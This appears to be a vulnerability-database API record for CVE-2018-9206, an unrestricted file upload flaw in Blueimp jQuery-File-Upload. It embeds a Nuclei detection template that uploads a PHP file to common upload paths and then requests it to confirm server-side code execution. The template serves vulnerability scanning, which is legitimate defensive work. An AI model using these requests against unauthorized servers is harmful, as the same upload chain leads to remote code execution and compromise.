{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-9206/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-9206/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-9206/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-9206/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-9206/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-9206/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2018-9206"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2018-9206"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-9206.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-9206\n\ninfo:\n  name: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload\n  author: thewindghost\n  severity: critical\n  description: |\n    Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.\n  impact: |\n    Attackers can upload malicious files, potentially leading to remote code execution or server compromise.\n  remediation: |\n    Update to the latest version of Blueimp jQuery-File-Upload.\n  reference:\n    - https://www.exploit-db.com/exploits/45790\n    - https://www.exploit-db.com/exploits/46182/\n    - https://github.com/blueimp/jQuery-File-Upload/pull/3514\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-9206\n    epss-score: 0.97255\n    epss-percentile: 0.99895\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n  tags: cve,cve2018,jquery,file-upload,rce,intrusive,vkev,vuln\n\nvariables:\n  filename: \"{{rand_text_alphanumeric(8)}}\"\n  hash: \"CVE-2018-9206\"\n\nhttp:\n  - raw:\n      - |\n        POST {{path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}\n\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"files[]\"; filename=\"{{filename}}.php\"\n        Content-Type: application/x-php\n\n        <?php echo md5(\"{{hash}}\"); ?>\n        ------WebKitFormBoundary{{randstr}}--\n\n      - |\n        GET {{path}}/files/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n\n      - |\n        GET /files/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      path:\n        - \"/jQuery-File-Upload/server/php/index.php\"\n        - \"/jquery-file-upload/server/php/index.php\"\n        - \"/server/php/upload.class.php\"\n        - \"/server/php/UploadHandler.php\"\n        - \"/example/upload.php\"\n        - \"/php/index.php\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, '{{md5(hash)}}')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4b0a00483046022100f926fee80fcb432a58974a0f1cf75be9236c800fffffddbae51603b9a39ce673022100dc7bf6ae91cfc7e1df2258ee08713dad5da367729cd29ab73b47087c36e50220:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-9206"}